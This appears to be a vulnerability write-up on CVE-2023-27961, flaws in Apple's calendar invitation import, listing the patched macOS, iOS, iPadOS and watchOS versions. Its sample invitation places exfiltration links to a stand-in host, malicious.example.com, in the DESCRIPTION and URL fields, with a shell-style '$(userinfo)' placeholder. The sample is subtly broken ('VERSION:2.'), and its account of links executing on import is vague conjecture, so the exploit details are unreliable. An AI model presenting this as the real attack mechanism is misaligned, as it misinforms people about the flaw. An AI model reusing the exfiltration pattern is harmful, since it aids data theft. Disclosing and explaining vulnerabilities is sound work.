CVE-2023-27961 - Addressing Multiple Validation Issues in Calendar Invitation Import for macOS, iOS, and iPadOS: Improved Input Sanitization and Patch Details

CVE-2023-27961 details multiple validation issues that were discovered in various Apple devices and operating systems, specifically in the import process for calendar invitations. As a result of these vulnerabilities, a user unknowingly importing a maliciously crafted calendar invitation could have their sensitive information exposed and exfiltrated. Fortunately, Apple has addressed these vulnerabilities by implementing improved input sanitization techniques. The fixes have been applied to macOS Ventura 13.3, iOS 15.7.4 and iPadOS 15.7.4, macOS Big Sur 11.7.5, watchOS 9.4, macOS Monterey 12.6.4, iOS 16.4, and iPadOS 16.4.

Here's a sample of what a potentially malicious calendar invitation might look like

BEGIN:VCALENDAR
VERSION:2.
PRODID:-//Example Corp.//Example Product//EN
BEGIN:VEVENT
UID:Example123
DTSTAMP: 20230101T000000Z
DTSTART;TZID=America/New_York:20230301T090000
DTEND;TZID=America/New_York:20230301T100000
SUMMARY:Sample Event
DESCRIPTION:Here's an event with a potentially malicious link: [http://malicious.example.com/exfiltrate?info=$(userinfo)]
URL:http://malicious.example.com/exfiltrate?info=JAVASCRIPT_REQUIRED
END:VEVENT
END:VCALENDAR

In the example above, the DESCRIPTION and URL fields contain links to a potentially malicious website, which could be used to exfiltrate user information. Without proper input sanitization, these links might be executed when the calendar invitation is imported, thus compromising the user's information.

Original References

Apple released a security advisory detailing the issue and its resolution, which can be viewed at the following link:

- Apple Support - About the security content of macOS Ventura 13.3, iOS 15.7.4, and iPadOS 15.7.4

Exploit Details

The exploit targeting CVE-2023-27961 relies on users unknowingly importing a maliciously crafted calendar invitation. The crafted invitation might contain links or embedded code that could compromise user data when it is processed by the affected operating system or device. The attacker's goal is to exfiltrate the user's sensitive information.

To mitigate this vulnerability, Apple has implemented improved input sanitization. This technique helps ensure that any potentially malicious content within the calendar invitation is identified and neutralized before it can compromise the user's information.

Conclusion

CVE-2023-27961 highlights the importance of robust input sanitization techniques in protecting users from potential vulnerabilities in their software and devices. It serves as a reminder to users and developers alike to stay vigilant and keep their systems up to date with the latest security patches. For affected Apple devices and operating systems, be sure to update to one of the following versions to ensure you are protected from this vulnerability: macOS Ventura 13.3, iOS 15.7.4 and iPadOS 15.7.4, macOS Big Sur 11.7.5, watchOS 9.4, macOS Monterey 12.6.4, iOS 16.4, and iPadOS 16.4.

Timeline

Published on: 05/08/2023 20:15:00 UTC
Last modified on: 05/30/2023 05:15:00 UTC